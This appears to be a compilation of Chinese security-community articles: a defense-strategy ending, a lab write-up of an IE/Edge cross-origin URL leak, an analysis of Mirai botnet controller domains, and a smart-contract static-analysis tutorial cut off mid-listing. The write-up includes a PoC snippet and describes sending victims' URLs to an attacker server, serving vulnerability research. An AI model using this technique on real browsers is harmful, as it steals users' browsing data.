通过对用户业务系统流程的深入分析，从业务系统最初的代码缺陷、自身加固不足入手，再对用户数据业务访问的行为详细审计分析，同时汇集相关信息设备日志进行综合关联判断，帮助用户构建漏洞/缺陷的挖掘、修补、审计、取证、阻断的整套可控体系，并做到对业务系统威胁事前可预知、事中可防御/审计、事后可追查。
**第四道防线：数据防护**
针对用户私有云、公有云及混合云等不同场景，采用深层内容分析及加密等技术，对静态数据、动态数据及使用中的数据进行即时的识别、监控和保护，实现云端数据加解密、终端数据加解密、传输过程加密与审计等，帮助用户建立统一的数据智能防泄密策略，确保数据传输中的可靠与可控、云端数据存储的安全可控、终端数据的防泄密。
最后，用360企业安全集团总裁吴云坤说过的一段话作为结尾：“网络安全已经成为大国博弈的新战场，高级可持续攻击也成为网络安全对抗的重要手段。当前世界范围内的网络监听、网络攻击、网络犯罪等此起彼伏，并向国防、经济、文化等多领域渗透。作为国家继陆海空天电之后的“第六疆域”，我们需要对网络空间严守以待。” | 社区文章 |
**作者：天融信阿尔法实验室
公众号：<https://mp.weixin.qq.com/s/ezs56qtTEzFUQKDW1a0_XQ>**
### 一、前言
最近爆出了IE浏览器和Edge浏览器跨域获取敏感信息的漏洞（绕过同源策略），不过并未被微软承认，于是进行了一系列深度测试，看看此漏洞是否真实严重。
### 二、知识扩展
为了大家能够更流畅地理解测试流程，我们先来了解下什么是同源策略和跨域。
**1\. 同源策略**
同源策略（SOP）是在现代浏览器中实现的安全功能，它限制从一个源加载的Web页面或脚本与来自另一个源的资源交互，从而防止不相关的站点相互干扰。也就是说，不同源的客户端脚本在没有明确授权的情况下，是不能读写对方资源的。
所谓同源就是指域名、协议、端口都相同，URL由协议、域名、端口和路径组成，如果两个URL的协议、域名和端口相同，则表示他们同源。相反，只要协议，域名，端口有任何一个的不同，就被当作是跨域。
下表是相对于 http://www.topsec.com.cn/admin/index.html 的同源检测结果：
**2．跨域**
跨域是指从一个域的网页去请求另一个域的资源，比如从http://www.a.com去请求http://www.b.com的资源，但一般情况下是不允许进行跨域的。因为前面我们说过，浏览器受同源策略的影响，不是同源的脚本不能操作其他源下面的对象，而如果想要操作另一个源下的对象时就需要授权了。
**3.浏览器为什么一定要有同源策略呢？**
其实这样做的目的主要就是为了用户的上网安全。我们可以试想一下，如果没有同源策略的情况。比如一个恶意网站的页面通过iframe嵌入了银行的登录页面（二者不同源），在用户登录银行的时候恶意网页上的javascript脚本就可以获取其用户名和密码。因此，有了同源策略，我们才能更安全的上网。
### 三、测试流程
本次测试，我是通过在本地搭建环境重新复现了漏洞并多番修改poc进行了不同的测试。
先来测试下IE浏览器
192.168.8.23/test.html 这里有一处重定向
Main.html
主要poc ，这里是漏洞触发的对象performance.
getEntriesByType，在Edge浏览器中是performance.getEntries，下面会有详细介绍
setTimeout(function(){alert(performance. getEntriesByType (“resource”)[0].name)},4000);
这里有一处回跳history.html，这个回跳的作用是返回重新刷新页面，不然只能获取预先设定好的url。
请求main.html，可以看到弹出了我们预先设定好的url
此时，上图中的弹出的URL不等同于192.168.6.23
这个源，这表明我们已经成功绕过浏览器中的同源策略并访问了应该受限制的资源。但是，这有什么用？因为我们只是能获取到预先设定的url，并没有特别有用的信息，比如username，password等。别着急，我们继续看。
此时通过history.html重新刷新页面，也就是htstory.back()返回一步，这里接下来会重新跳转回blog.tepsec.com.cn/?s=php这个页面，然后我们点击Search进行搜索，在搜索框中输入topsec，现在让我们看下效果：
可以看到成功获取到了用户输入的信息topsec，实现了跨域获取敏感信息的功能。所以，现在我们可以得出个结论，当用户在与网页交互时，我们可以利用此漏洞来获取交互时的URL信息，试想一下，如果用户的敏感信息在url中的话，比如某网站的登陆账号密码和url做了关联http://foo.com/username=admin&password=admin,或者其他敏感信息，那么危害就非常大了。
同时不仅仅是输入，点击其他页面时也可以抓到整个url信息。
下面再测试下Edge浏览器
192.168.8.23/test.html还是这个没有变
Main.html
这里修改的地方有两处，一处是getEntriesByType变成getEntries，另一处角标由[0]变成了[2]
setTimeout(function(){alert(performance. getEntries(“resource”)[2].name)},4000);
同样有回跳跳转history.html（history.back）。
访问main.html，可以看到和IE浏览其一样同样弹出了我们预先设定好的url。
但是和IE不同的是这里并不能动态获取用户修改的url，也就是用户输入信息还是点击都无法获取用户更改后的url信息，始终是弹出下面的url，所以暂时判断在Edge浏览器下此漏洞并没有什么危害
。
最后，我们再来看看关键的performance.getEntries这个api有哪些属性，从下图可以看到有四个属性，目前能被用上的就是url信息也就是name属性。
‘url’: perf.name,
‘entryType’: perf.entryType,
‘type’: perf.initiatorType,
‘duration(ms)’: perf.duration
这里修改下name变成 duration，弹出了个时间并没啥用处
也就是说这个漏洞获取到的name属性也就是url还有些利用价值，像类型和时间基本没什么利用价值。
### 四、漏洞利用
在实际利用过程中，攻击者不会像上述一样将信息弹出来显示给受害者，只会悄悄地将信息窃取。
我们简单修改下POC，模拟一下真实环境下的漏洞利用。
Main.html
首先将页面高宽进行调整使其看起来真实一些，而不仅仅是那一小块，然后将alert弹出信息的方式改为通过访问cookie.php将信息发送至攻击者服务器。
cookie.php
现在来访问下Main.html
打开页面后进行随意搜索或点击，然后来看192.168.8.23服务器下的log.txt文件
URL信息都发送到了攻击者的服务器下。
### 五、结语
从测试情况来看，漏洞危害性还是很大的，好在这个刷新的功能会被用户所察觉.所以还是在补丁未修补之前，不要使用IE和Edge浏览器浏览网页和点击不明链接。
* * * | 社区文章 |
# 【技术分享】关于mirai僵尸网络控制主机的数据分析
|
##### 译文声明
本文是翻译文章，文章来源：360网络安全研究院
译文仅供参考，具体内容表达以及含义原文为准。
之前的文章中已经提及，我们的僵尸网络跟踪系统对mirai僵尸网络控制主机做了持续跟踪，并且在文章的结尾处，依据跟踪结果排除了僵尸网络操作者位于北京时区的可能。在这篇文章中，我们将进一步分析mirai僵尸网络的控制主机的行为和特征。之前文章链接如下：
[http://blog.netlab.360.com/a-dyn-twitter-ddos-event-report-and-mirai-botnet-review/](http://blog.netlab.360.com/a-dyn-twitter-ddos-event-report-and-mirai-botnet-review/)
目前为止，我们与安全社区合作共享了两位数域名上的超过50个mirai僵尸网络主控。但本文后面的分析仅针对360网络安全研究院独立发现的主控，即13个域名上的16个主控主机名，其中8个在持续对外发起攻击。
在时间线上，我们可以看到各主控随时间变化的注册、在DNS中首次出现、持续保持IP地址变化、首次被监控到发起攻击等事件。地理分布方面，主控的IP地理分布主要在欧洲和美国，尤以欧洲为甚，亚洲很少，这从侧面增强了之前“mirai控制者不在北京时区”的判断。
域名注册信息方面，绝大多数主控在域名注册时在TLD、注册局、注册邮箱方面设置了多重障碍阻滞安全社区的进一步分析。
主控中一个特例是santasbigcandycane.cx，这个域名随着mirai源码泄漏而暴露在大众视野中。KrebsOnSecurity
对这个域名做了深入而有趣的探索。感兴趣的读者可在读完本篇文档后阅读：
[https://krebsonsecurity.com/2016/10/spreading-the-ddos-disease-and-selling-the-cure/#more-36538](https://krebsonsecurity.com/2016/10/spreading-the-ddos-disease-and-selling-the-cure/#more-36538)
**所分析的mirai控制端列表**
到目前为止，我们独立发现了16个僵尸网络主机名，分布在13个域名上，如下表所示。出于安全考虑，我们掩去了关键信息。
除了少数两个特例以外，绝大多数主机名所属域名下的所有其他主机名也都完全为 mirai 服务，可据此判定绝大多数域名是专门为了mirai而申请注册的。
特例之一是santasbigcandycane.cx，前文已述；特例之二是 contabo.host ，这个域名属于
Contabo.com，是一家提供低成本虚拟主机和Web空间的网络提供商。合理推测这是一台被攻破的虚拟主机，攻破后被用作mirai的控制端。
注：域名指在注册局注册的域名，主机名指域名所有者获得域名控制权后分配的子域名。
**mirai主控的时间变化情况**
回溯Mirai控制端的活动历史，可以绘制mirai控制端的活动时间线如下图。考虑到大家主要关注mirai近期活动，我们缩放了下图时间轴，主要显示9月1日至今（10月27日）。
图中，四个图标分别表示域名注册、主机名在DNS系统中活跃的时间、主机名在DNS系统中发生IP地址变化、跟踪到该主机名发起攻击。其中最后一个主控，我们无法追踪到最初显示的注册时间，目前查到的注册时间在其DNS首次出现时间之后。
从上图中可以看出域名一旦启用（观察到参与攻击）会快速更换IP地址，一般可以判定这是攻击者在逃避安全社区的分析。以某个被认为发起了针对本次 dyn /
twitter 攻击的mirai主控为例，下表是该主控的IP变化历史：
图中还可以看到我们累积监控到8个主控对外发起攻击。时间可以回溯到2016年10月18日，并一直持续到当前。另外由于mirai僵尸网络规模特别大，单个主控要应对的bot较多（合理推测数目在万级），我们有理由相信mirai主控与bot之间的通讯模型与既往其他僵尸网络都有所不同。
**mirai主控的IP地理分布**
之前社区里关于这些域名的IP地址变化有一种说法，认为
“某个mirai主控变换IP地址后，原先的IP地址上会出现一个新的域名，仍然是mirai主控”，即不同主控之间共享IP地址。在我们的数据中，上述情况完全没有出现。
前文已经提到这些域名在快速的变换IP，我们持续跟踪的16个主控目前为止一共使用了98个IP地址，其中活跃的8个主控一共使用了57个IP地址。这些IP地址的国家和地区分布如下：
可以看出绝大部分IP分布在欧洲和北美（巴尔及利亚，加拿大，丹麦，法国，德国，匈牙利，意大利，荷兰，罗马尼亚，俄罗斯，苏伊士，英国，美国），其中又以欧洲为甚，分布在亚洲区的只有3个。这从侧面增强了之前“mirai控制者不在北京时区”的判断。
**mirai主控的域名注册信息**
Mirai的控制者在域名注册方面非常小心，以避免被跟踪。一方面选择很少见的新Top Level
Domain（TLD），另一方面所使用的注册邮箱、注册局也都强调隐私保护或者很难继续追踪。
TLD的分布上，较少用常见的 .net .org 。 .xyz .work这样的TLD就已经少见，而 .racing 这样就 是更加罕见了。全部域名在常见
TLD (.net .org)上只有23%（=3/13），即使加上上.ru也不超过50%，如下图所示：
注册邮箱和注册局方面情况如下。同样出于安全考虑，我们掩去了关键信息。
这些注册邮箱都比较难以继续追溯下去：Protonmail 是专门强调数据安全的邮件服务商，reg.ru, r01.ru,whoisguard.com
是专门做域名隐私保护的公司，contabo是VPS提供商，freenom运营了大量免费域名。
特别要提及，[email protected] 这个注册局很特殊，在上文提到的krebsonSecurity
连接中，Krebs提到这个注册局上注册的30+域名中大多含有 boot/stress/dos
这样的字眼，通常这暗示域名从事ddos出租服务；Krebs提到的另一个疑点是这个注册局注册的域名太少，无法做到收支平衡。Krebs与注册局的所有者取得联系，对方对Krebs的疑问有所回答，这更进一步加强了Krebs的疑虑。如果您已经读到这里，我们强烈建议您去阅读此文[[点击此处]](https://krebsonsecurity.com/2016/10/spreading-the-ddos-disease-and-selling-the-cure/#more-36538)。 | 社区文章 |
作者：高峰 黄绍莽（来自 [360 IceSword Lab](https://www.iceswordlab.com)）
首发于： <http://blogs.360.cn/post/staticAnalysis_of_smartContract.html>
## 概述
目前，以太坊智能合约的安全事件频发，从The
DAO事件到最近的Fomo3D奖池被盗，每次安全问题的破坏力都是巨大的，如何正确防范智能合约的安全漏洞成了当务之急。本文主要讲解了如何通过对智能合约的静态分析进而发现智能合约中的漏洞。由于智能合约部署之后的更新和升级非常困难，所以在智能合约部署之前对其进行静态分析，检测并发现智能合约中的漏洞，可以最大限度的保证智能合约部署之后的安全。
本文包含以下五个章节：
* 智能合约的编译
* 智能合约汇编指令分析
* 从反编译代码构建控制流图
* 从控制流图开始约束求解
* 常见的智能合约漏洞以及检测方法
## **第一章 智能合约的编译**
本章节是智能合约静态分析的第一章，主要讲解了智能合约的编译，包括编译环境的搭建、solidity编译器的使用。
## 1.1 编译环境的搭建
我们以Ubuntu系统为例，介绍编译环境的搭建过程。首先介绍的是go-ethereum的安装。
### 1.1.1 安装go-ethereum
通过apt-get安装是比较简便的安装方法，只需要在安装之前添加go-ethereum的ppa仓库，完整的安装命令如下：
sudo apt-get install software-properties-common
sudo add-apt-repository -y ppa:ethereum/ethereum
sudo apt-get update
sudo apt-get install ethereum
安装成功后，我们在命令行下就可以使用`geth`,`evm`,`swarm`,`bootnode`,`rlpdump`,`abigen`等命令。
当然，我们也可以通过编译源码的方式进行安装，但是这种安装方式需要提前安装golang的环境，步骤比较繁琐。
### 1.1.2 安装solidity编译器
目前以太坊上的智能合约绝大多数是通过solidity语言编写的，所以本章只介绍solidity编译器的安装。solidity的安装和go-ethereum类似，也是通过apt-get安装，在安装前先添加相应的ppa仓库。完整的安装命令如下：
sudo add-apt-repository ppa:ethereum/ethereum
sudo apt-get update
sudo apt-get install solc
执行以上命令后，最新的稳定版的solidity编译器就安装完成了。之后我们在命令行就可以使用solc命令了。
## 1.2 solidity编译器的使用
### 1.2.1 基本用法
我们以一个简单的以太坊智能合约为例进行编译，智能合约代码(保存在test.sol文件)如下：
pragma solidity ^0.4.25;
contract Test {
}
执行solc命令：`solc --bin test.sol`
输出结果如下：
======= test.sol:Test =======
Binary:
6080604052348015600f57600080fd5b50603580601d6000396000f3006080604052600080fd00a165627a7a72305820f633e21e144cae24615a160fcb484c1f9495df86d7d21e9be0df2cf3b4c1f9eb0029
solc命令的`--bin`选项，用来把智能合约编译后的二进制以十六进制形式表示。和`--bin`选项类似的是`--bin-runtime`，这个选项也会输出十六进制表示，但是会省略智能合约编译后的部署代码。接下来我们执行solc命令：
`solc --bin-runtime test.sol`
输出结果如下：
======= test.sol:Test =======
Binary of the runtime part:
6080604052600080fd00a165627a7a72305820f633e21e144cae24615a160fcb484c1f9495df86d7d21e9be0df2cf3b4c1f9eb0029
对比两次输出结果不难发现，使用`--bin-runtime`选项后，输出结果的开始部分少了`6080604052348015600f57600080fd5b50603580601d6000396000f300`，为何会少了这部分代码呢，看完接下来的智能合约编译后的字节码结构就明白了。
### 1.2.2 智能合约字节码结构
智能合约编译后的字节码，分为三个部分：部署代码、runtime代码、auxdata。
1.部署代码：以上面的输出结果为例，其中`6080604052348015600f57600080fd5b50603580601d6000396000f300`为部署代码。以太坊虚拟机在创建合约的时候，会先创建合约账户，然后运行部署代码。运行完成后它会将runtime代码+auxdata
存储到区块链上。之后再把二者的存储地址跟合约账户关联起来(也就是把合约账户中的code hash字段用该地址赋值)，这样就完成了合约的部署。
2.runtime代码：该例中`6080604052600080fd00`是runtime代码。
3.auxdata：每个合约最后面的43字节就是auxdata，它会紧跟在runtime代码后面被存储起来。
solc命令的`--bin-runtime`选项，输出了runtime代码和auxdata，省略了部署代码，所以输出结果的开始部分少了`6080604052348015600f57600080fd5b50603580601d6000396000f300`。
### 1.2.3 生成汇编代码
solc命令的`--asm`选项用来生成汇编代码，接下来我们还是以最初的智能合约为例执行solc命令，查看生成的汇编代码。
执行命令：`solc --bin --asm test.sol`
输出结果如下：
======= test.sol:Test =======
EVM assembly:
... */ "test.sol":28:52 contract Test {
mstore(0x40, 0x80)
callvalue
/* "--CODEGEN--":8:17 */
dup1
/* "--CODEGEN--":5:7 *
iszero
tag_1
jumpi
/* "--CODEGEN--":30:31 */
0x0
/* "--CODEGEN--":27:28 */
dup1
/* "--CODEGEN--":20:32 */
revert
/* "--CODEGEN--":5:7 */
tag_1:
... */ "test.sol":28:52 contract Test {
pop
dataSize(sub_0)
dup1
dataOffset(sub_0)
0x0
codecopy
0x0
return
stop
sub_0: assembly {
... */ /* "test.sol":28:52 contract Test {
mstore(0x40, 0x80)
0x0
dup1
revert
auxdata: 0xa165627a7a72305820f633e21e144cae24615a160fcb484c1f9495df86d7d21e9be0df2cf3b4c1f9eb0029
}
由1.2.2小节可知，智能合约编译后的字节码分为部署代码、runtime代码和auxdata三部分。同样，智能合约编译生成的汇编指令也分为三部分：EVM
assembly标签下的汇编指令对应的是部署代码；sub_0标签下的汇编指令对应的是runtime代码；sub_0标签下的auxdata和字节码中的auxdata完全相同。由于目前智能合约文件并没有实质的内容，所以sub_0标签下没有任何有意义的汇编指令。
### 1.2.4 生成ABI
solc命令的`--abi`选项可以用来生成智能合约的ABI，同样还是最开始的智能合约代码进行演示。
执行solc命令：`solc --abi test.sol`
输出结果如下：
======= test.sol:Test =======
Contract JSON ABI
[]
可以看到生成的结果中ABI数组为空，因为我们的智能合约里并没有内容(没有变量声明，没有函数)。
## 1.3 总结
本章节主要介绍了编译环境的搭建、智能合约的字节码的结构组成以及solc命令的常见用法(生成字节码，生成汇编代码，生成abi)。在下一章中，我们将对生成的汇编代码做深入的分析。
## **第二章 智能合约汇编指令分析**
本章是智能合约静态分析的第二章，在第一章中我们简单演示了如何通过solc命令生成智能合约的汇编代码，在本章中我们将对智能合约编译后的汇编代码进行深入分析，以及通过evm命令对编译生成的字节码进行反编译。
## 2.1 以太坊中的汇编指令
为了让大家更好的理解汇编指令，我们先简单介绍下以太坊虚拟机EVM的存储结构，熟悉Java虚拟机的同学可以把EVM和JVM进行对比学习。
### 2.1.1 以太坊虚拟机EVM
编程语言虚拟机一般有两种类型，基于栈，或者基于寄存器。和JVM一样，EVM也是基于栈的虚拟机。
既然是支持栈的虚拟机，那么EVM肯定首先得有个栈。为了方便进行密码学计算，EVM采用了32字节（256比特）的字长。EVM栈以字（Word）为单位进行操作，最多可以容纳1024个字。下面是EVM栈的示意图：
### 2.1.2 以太坊的汇编指令集：
和JVM一样，EVM执行的也是字节码。由于操作码被限制在一个字节以内，所以EVM指令集最多只能容纳256条指令。目前EVM已经定义了约142条指令，还有100多条指令可供以后扩展。这142条指令包括算术运算指令，比较操作指令，按位运算指令，密码学计算指令，栈、memory、storage操作指令，跳转指令，区块、智能合约相关指令等。下面是已经定义的EVM操作码分布图[[1]](https://blog.csdn.net/zxhoo/article/details/81865629)（灰色区域是目前还没有定义的操作码）
下面的表格中总结了常用的汇编指令：
操作码 | 汇编指令 | 描述
---|---|---
0x00 | STOP | 结束指令
0x01 | ADD | 把栈顶的两个值出栈，相加后把结果压入栈顶
0x02 | MUL | 把栈顶的两个值出栈，相乘后把结果压入栈顶
0x03 | SUB | 从栈中依次出栈两个值arg0和arg1，用arg0减去arg1，再把结果压入栈顶
0x10 | LT | 把栈顶的两个值出栈，如果先出栈的值小于后出栈的值则把1入栈，反之把0入栈
0x11 | GT | 和LT类似，如果先出栈的值大于后出栈的值则把1入栈，反之把0入栈
0x14 | EQ | 把栈顶的两个值出栈，如果两个值相等则把1入栈，否则把0入栈
0x15 | ISZERO | 把栈顶值出栈，如果该值是0则把1入栈，否则把0入栈
0x34 | CALLVALUE | 获取交易中的转账金额
0x35 | CALLDATALOAD | 获取交易中的input字段的值
0x36 | CALLDATASIZE | 获取交易中input字段的值的长度
0x50 | POP | 把栈顶值出栈
0x51 | MLOAD | 把栈顶出栈并以该值作为内存中的索引，加载内存中该索引之后的32字节到栈顶
0x52 | MSTORE | 从栈中依次出栈两个值arg0和arg1，并把arg1存放在内存的arg0处
0x54 | SLOAD | 把栈顶出栈并以该值作为storage中的索引，加载该索引对应的值到栈顶
0x55 | SSTORE | 从栈中依次出栈两个值arg0和arg1，并把arg1存放在storage的arg0处
0x56 | JUMP | 把栈顶值出栈，并以此值作为跳转的目的地址
0x57 | JUMPI | 从栈中依次出栈两个值arg0和arg1，如果arg1的值为真则跳转到arg0处，否则不跳转
0x60 | PUSH1 | 把1个字节的数值放入栈顶
0x61 | PUSH2 | 把2个字节的数值放入栈顶
0x80 | DUP1 | 复制当前栈中第一个值到栈顶
0x81 | DUP2 | 复制当前栈中第二个值到栈顶
0x90 | SWAP1 | 把栈中第一个值和第二个值进行调换
0x91 | SWAP2 | 把栈中第一个值和第三个值进行调换
## 2.2 智能合约汇编分析
在第一章中，为了便于入门，我们分析的智能合约文件并不包含实质的内容。在本章中我们以一个稍微复杂的智能合约为例进行分析。智能合约(保存在test.sol文件中)代码如下：
pragma solidity ^0.4.25;
contract Overflow {
uint private sellerBalance=0;
function add(uint value) returns (bool, uint){
sellerBalance += value;
assert(sellerBalance >= value);
}
}
### 2.2.1 生成汇编代码
执行solc命令：`solc --asm --optimize test.sol`，其中`--optimize`选项用来开启编译优化
输出的结果如下：
EVM assembly:
... */ "test.sol":26:218 contract Overflow {
mstore(0x40, 0x80)
/* "test.sol":78:79 0 */
0x0
/* "test.sol":51:79 uint private sellerBalance=0 */
dup1
sstore
... */ "test.sol":26:218 contract Overflow {
callvalue
/* "--CODEGEN--":8:17 */
dup1
/* "--CODEGEN--":5:7 */
iszero
tag_1
jumpi
/* "--CODEGEN--":30:31 */
0x0
/* "--CODEGEN--":27:28 */
dup1
/* "--CODEGEN--":20:32 */
revert
/* "--CODEGEN--":5:7 */
tag_1:
... */ "test.sol":26:218 contract Overflow {
pop
dataSize(sub_0)
dup1
dataOffset(sub_0)
0x0
codecopy
0x0
return
stop
sub_0: assembly {
... */ /* "test.sol":26:218 contract Overflow {
mstore(0x40, 0x80)
jumpi(tag_1, lt(calldatasize, 0x4))
and(div(calldataload(0x0), 0x100000000000000000000000000000000000000000000000000000000), 0xffffffff)
0x1003e2d2
dup2
eq
tag_2
jumpi
tag_1:
0x0
dup1
revert
... */ /* "test.sol":88:215 function add(uint value) returns (bool, uint){
tag_2:
callvalue
/* "--CODEGEN--":8:17 */
dup1
/* "--CODEGEN--":5:7 */
iszero
tag_3
jumpi
/* "--CODEGEN--":30:31 */
0x0
/* "--CODEGEN--":27:28 */
dup1
/* "--CODEGEN--":20:32 */
revert
/* "--CODEGEN--":5:7 */
tag_3:
pop
... */ /* "test.sol":88:215 function add(uint value) returns (bool, uint){
tag_4
calldataload(0x4)
jump(tag_5)
tag_4:
/* 省略部分代码 */
tag_5:
/* "test.sol":122:126 bool */
0x0
/* "test.sol":144:166 sellerBalance += value */
dup1
sload
dup3
add
dup1
dup3
sstore
/* "test.sol":122:126 bool */
dup2
swap1
/* "test.sol":184:206 sellerBalance >= value */
dup4
gt
iszero
/* "test.sol":177:207 assert(sellerBalance >= value) */
tag_7
jumpi
invalid
tag_7:
... */ /* "test.sol":88:215 function add(uint value) returns (bool, uint){
swap2
pop
swap2
jump // out
auxdata: 0xa165627a7a7230582067679f8912e58ada2d533ca0231adcedf3a04f22189b53c93c3d88280bb0e2670029
}
回顾第一章我们得知，智能合约编译生成的汇编指令分为三部分：EVM
assembly标签下的汇编指令对应的是部署代码；sub_0标签下的汇编指令对应的是runtime代码，是智能合约部署后真正运行的代码。
### 2.2.2 分析汇编代码
接下来我们从sub_0标签的入口开始,一步步地进行分析：
1. 最开始处执行`mstore(0x40, 0x80)`指令,把0x80存放在内存的0x40处。
2. 第二步执行jumpi指令，在跳转之前要先通过calldatasize指令用来获取本次交易的input字段的值的长度。如果该长度小于4字节则是一个非法调用，程序会跳转到tag_1标签下。如果该长度大于4字节则顺序向下执行。
3. 接下来是获取交易的input字段中的函数签名。如果input字段中的函数签名等于"0x1003e2d2"，则EVM跳转到tag_2标签下执行,否则不跳转，顺序向下执行tag_1。ps:使用web3.sha3("add(uint256)")可以计算智能合约中add函数的签名，计算结果为`0x1003e2d21e48445eba32f76cea1db2f704e754da30edaf8608ddc0f67abca5d0`,之后取前四字节"0x1003e2d2"作为add函数的签名。
4. 在tag_2标签中，首先执行`callvalue`指令,该指令获取交易中的转账金额，如果金额是0，则执行接下来的jumpi指令，就会跳转到tag_3标签。ps:因为add函数没有`payable`修饰，导致该函数不能接受转账，所以在调用该函数时会先判断交易中的转账金额是不是0。
5. 在tag_3标签中，会把tag_4标签压入栈，作为函数调用完成后的返回地址，同时`calldataload(0x4)`指令会把交易的input字段中第4字节之后的32字节入栈，之后跳转到tag_5标签中继续执行。
6. 在tag_5标签中，会执行add函数中的所有代码，包括对变量sellerBalance进行赋值以及比较变量sellerBalance和函数参数的大小。如果变量sellerBalance的值大于函数参数，接下来会执行jumpi指令跳转到tag_7标签中，否则执行`invalid`,程序出错。
7. 在tag_7标签中，执行两次`swap2`和一次`pop`指令后，此时的栈顶是tag_4标签，即函数调用完成后的返回地址。接下来的`jump`指令会跳转到tag_4标签中执行，add函数的调用就执行完毕了。
## 2.3 智能合约字节码的反编译
在第一章中，我们介绍了go-ethereum的安装，安装完成后我们在命令行中就可以使用evm命令了。下面我们使用evm命令对智能合约字节码进行反编译。
需要注意的是，由于智能合约编译后的字节码分为部署代码、runtime代码和auxdata三部分，但是部署后真正执行的是runtime代码，所以我们只需要反编译runtime代码即可。还是以本章开始处的智能合约为例，执行`solc
--asm --optimize test.sol` 命令，截取字节码中的runtime代码部分：
608060405260043610603e5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631003e2d281146043575b600080fd5b348015604e57600080fd5b5060586004356073565b60408051921515835260208301919091528051918290030190f35b6000805482018082558190831115608657fe5b9150915600
把这段代码保存在某个文件中，比如保存在test.bytecode中。
接下来执行反编译命令：`evm disasm test.bytecode`
得到的结果如下：
00000: PUSH1 0x80
00002: PUSH1 0x40
00004: MSTORE
00005: PUSH1 0x04
00007: CALLDATASIZE
00008: LT
00009: PUSH1 0x3e
0000b: JUMPI
0000c: PUSH4 0xffffffff
00011: PUSH29 0x0100000000000000000000000000000000000000000000000000000000
0002f: PUSH1 0x00
00031: CALLDATALOAD
00032: DIV
00033: AND
00034: PUSH4 0x1003e2d2
00039: DUP2
0003a: EQ
0003b: PUSH1 0x43
0003d: JUMPI
0003e: JUMPDEST
0003f: PUSH1 0x00
00041: DUP1
00042: REVERT
00043: JUMPDEST
00044: CALLVALUE
00045: DUP1
00046: ISZERO
00047: PUSH1 0x4e
00049: JUMPI
0004a: PUSH1 0x00
0004c: DUP1
0004d: REVERT
0004e: JUMPDEST
0004f: POP
00050: PUSH1 0x58
00052: PUSH1 0x04
00054: CALLDATALOAD
00055: PUSH1 0x73
00057: JUMP
00058: JUMPDEST
00059: PUSH1 0x40
0005b: DUP1
0005c: MLOAD
0005d: SWAP3
0005e: ISZERO
0005f: ISZERO
00060: DUP4
00061: MSTORE
00062: PUSH1 0x20
00064: DUP4
00065: ADD
00066: SWAP2
00067: SWAP1
00068: SWAP2
00069: MSTORE
0006a: DUP1
0006b: MLOAD
0006c: SWAP2
0006d: DUP3
0006e: SWAP1
0006f: SUB
00070: ADD
00071: SWAP1
00072: RETURN
00073: JUMPDEST
00074: PUSH1 0x00
00076: DUP1
00077: SLOAD
00078: DUP3
00079: ADD
0007a: DUP1
0007b: DUP3
0007c: SSTORE
0007d: DUP2
0007e: SWAP1
0007f: DUP4
00080: GT
00081: ISZERO
00082: PUSH1 0x86
00084: JUMPI
00085: Missing opcode 0xfe
00086: JUMPDEST
00087: SWAP2
00088: POP
00089: SWAP2
0008a: JUMP
0008b: STOP
接下来我们把上面的反编译代码和2.1节中生成的汇编代码进行对比分析。
### 2.3.1 分析反编译代码
1. 反编译代码的00000到0003d行，对应的是汇编代码中sub_0标签到tag_1标签之间的代码。`MSTORE`指令把0x80存放在内存地址0x40地址处。接下来的`LT`指令判断交易的input字段的值的长度是否小于4，如果小于4，则之后的`JUMPI`指令就会跳转到0x3e地址处。对比本章第二节中生成的汇编代码不难发现，0x3e就是tag_1标签的地址。接下来的指令获取input字段中的函数签名，如果等于0x1003e2d2则跳转到0x43地址处。0x43就是汇编代码中tag_2标签的地址。
2. 反编译代码的0003e到00042行，对应的是汇编代码中tag_1标签内的代码。
3. 反编译代码的00043到0004d行，对应的是汇编代码中tag_2标签内的代码。0x43地址对应的指令是`JUMPDEST`,该指令没有实际意义，只是起到占位的作用。接下来的`CALLVALUE`指令获取交易中的转账金额,如果金额是0，则执行接下来的`JUMPI`指令，跳转到0x4e地址处。0x4e就是汇编代码中tag_3标签的地址。
4. 反编译代码的0004e到00057行，对应的是汇编代码中tag_3标签内的代码。0x4e地址对应的指令是`JUMPDEST`。接下来的`PUSH1 0x58`指令，把0x58压入栈，作为函数调用完成后的返回地址。之后的`JUMP`指令跳转到0x73地址处。0x73就是汇编代码中tag_5标签的地址。
5. 反编译代码的00058到00072行，对应的是汇编代码中tag_4标签内的代码。
6. 反编译代码的00073到00085行，对应的是汇编代码中tag_5标签内的代码。0x73地址对应的指令是`JUMPDEST`,之后的指令会执行add函数中的所有代码。如果变量sellerBalance的值大于函数参数，接下来会执行`JUMPI`指令跳转到0x86地址处，否则顺序向下执行到0x85地址处。这里有个需要注意的地方，在汇编代码中此处显示`invalid`,但在反编译代码中，此处显示`Missing opcode 0xfe`。
7. 反编译代码的00086到0008a行，对应的是汇编代码中tag_7标签内的代码。
8. 0008b行对应的指令是`STOP`,执行到此处时整个流程结束。
## 2.4 总结
本章首先介绍了EVM的存储结构和以太坊中常用的汇编指令。之后逐行分析了智能合约编译后的汇编代码，最后反编译了智能合约的字节码，把反编译的代码和汇编代码做了对比分析。相信读完本章之后，大家基本上能够看懂智能合约的汇编代码和反编译后的代码。在下一章中，我们将介绍如何从智能合约的反编译代码中生成控制流图(control
flow graph)。
## **第三章 从反编译代码构建控制流图**
本章是智能合约静态分析的第三章，第二章中我们生成了反编译代码，本章我们将从这些反编译代码出发，一步一步的构建控制流图。
## 3.1 控制流图的概念
### 3.1.1 基本块(basic block)
基本块是一个最大化的指令序列，程序执行只能从这个序列的第一条指令进入，从这个序列的最后一条指令退出。
构建基本块的三个原则：
1. 遇到程序、子程序的第一条指令或语句，结束当前基本块，并将该语句作为一个新块的第一条语句。
2. 遇到跳转语句、分支语句、循环语句，将该语句作为当前块的最后一条语句，并结束当前块。
3. 遇到其他语句直接将其加入到当前基本块。
### 3.1.2 控制流图(control flow graph)
控制流图是以基本块为结点的有向图G=(N,
E)，其中N是结点集合，表示程序中的基本块；E是结点之间边的集合。如果从基本块P的出口转向基本块块Q，则从P到Q有一条有向边P->Q，表示从结点P到Q存在一条可执行路径，P为Q的前驱结点，Q为P的后继结点。也就代表在执行完结点P中的代码语句后，有可能顺序执行结点Q中的代码语句[[2]](http://cc.jlu.edu.cn/G2S/Template/View.aspx?courseId=644&topMenuId=131469&action=view&curfolid=135637)。
## 3.2 构建基本块
控制流图是由基本块和基本块之间的边构成，所以构建基本块是控制流图的前提。接下来我们以反编译代码作为输入，分析如何构建基本块。
第二章中的反编译代码如下：
00000: PUSH1 0x80
00002: PUSH1 0x40
00004: MSTORE
